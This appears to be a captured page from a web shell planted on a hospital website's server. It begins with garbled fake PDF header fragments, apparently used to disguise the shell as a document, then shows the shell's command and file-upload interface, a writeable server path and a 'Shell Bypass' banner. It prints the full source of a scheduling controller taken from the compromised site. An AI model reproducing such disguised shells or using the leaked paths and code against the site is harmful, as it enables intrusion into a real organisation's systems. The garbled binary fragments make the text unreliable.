%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/api/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/api/application/controllers/Schedule.php
<?php
class Schedule extends MY_Controller {
    function __construct() {
        parent::__construct();
		not_logged_res(); 
		$this->checkAccess('manage_schedule_visit');
		$this->load->model("schedule_model", "sv");
		$this->load->model("user_model", "user");
    }
	
	function init(){
		$data=$this->sv->lists();
		$data['venues']=$this->sv->venues(); 
		$data['states']=$this->common->states(); 
		$this->json_data($data);
	}

	function lists(){
		$data=$this->sv->lists();
		$this->json_data($data);
	}

	function exportLists(){
		$data=$this->sv->lists(TRUE);
		download_scheduled_visits_csv($data['result']);
	}

	function detail($id){
		$data['dtl']=$this->sv->detail($id);
		$this->json_data($data);
	}

	function delete(){
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->sv->delete($id)){
			$inf['success']='T';
			$inf['msg']="Deleted successfully";
		}
		$this->json_data($inf);
	}
	
	
	/** Venues */
	function venues(){
		$data['venues']=$this->sv->venues();
		$this->json_data($data);
	}
	
	function saveVenue(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		if($post){
			$id=$post['id']=intval($post['id']);
			$this->form_validation->set_rules('center', 'Center name', 'required', $this->req);
			$this->form_validation->set_rules('address', 'Address', 'required', $this->req);
			$this->form_validation->set_rules('city', 'City', 'required', $this->req);
			$this->form_validation->set_rules('state', 'State', 'required', $this->req);
			$this->form_validation->set_rules('pincode', 'Pincode', 'required', $this->req);
			$this->form_validation->set_rules('mob', 'Contact No', "required", $this->req);
			//$this->form_validation->set_rules('mob2', 'Alternate Contact No', "integer", $this->req);
			$this->form_validation->set_rules('email', 'Email', "required|valid_email", $this->req);
			$this->form_validation->set_rules('email2', 'Alternate Email', "valid_email", $this->req);
			
			$inf['success']='F';
			if(@$this->form_validation->run() == FALSE){
				$inf['errors']=$this->form_validation->get_errors();
				$inf['msg']=reset($inf['errors']);
            }else{
				$data=filter_value($post, array('id', 'center', 'address', 'city', 'state', 'pincode', 'mob', 'mob2', 'email', 'email2', 'disp_odr', 'status'));
				
				if($this->common->save($data, "master_appoint_venues")){
					$inf['success']='T';
					$inf['msg']='Counceling center '.($id?'updated':'added').' successfully';
				}
            }
			$this->json_data($inf);
		}
	}
	
	function venueDetail($id=0){
		$dtl=$this->sv->venueDetail($id);
		$this->json_data($dtl);
	}
	
	function deleteVenue(){
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->sv->deleteVenue($id)){
			$inf['success']='T';
			$inf['msg']="Counceling center deleted successfully";
		}
		$this->json_data($inf);
	}
}

//EOF

Kontol Shell Bypass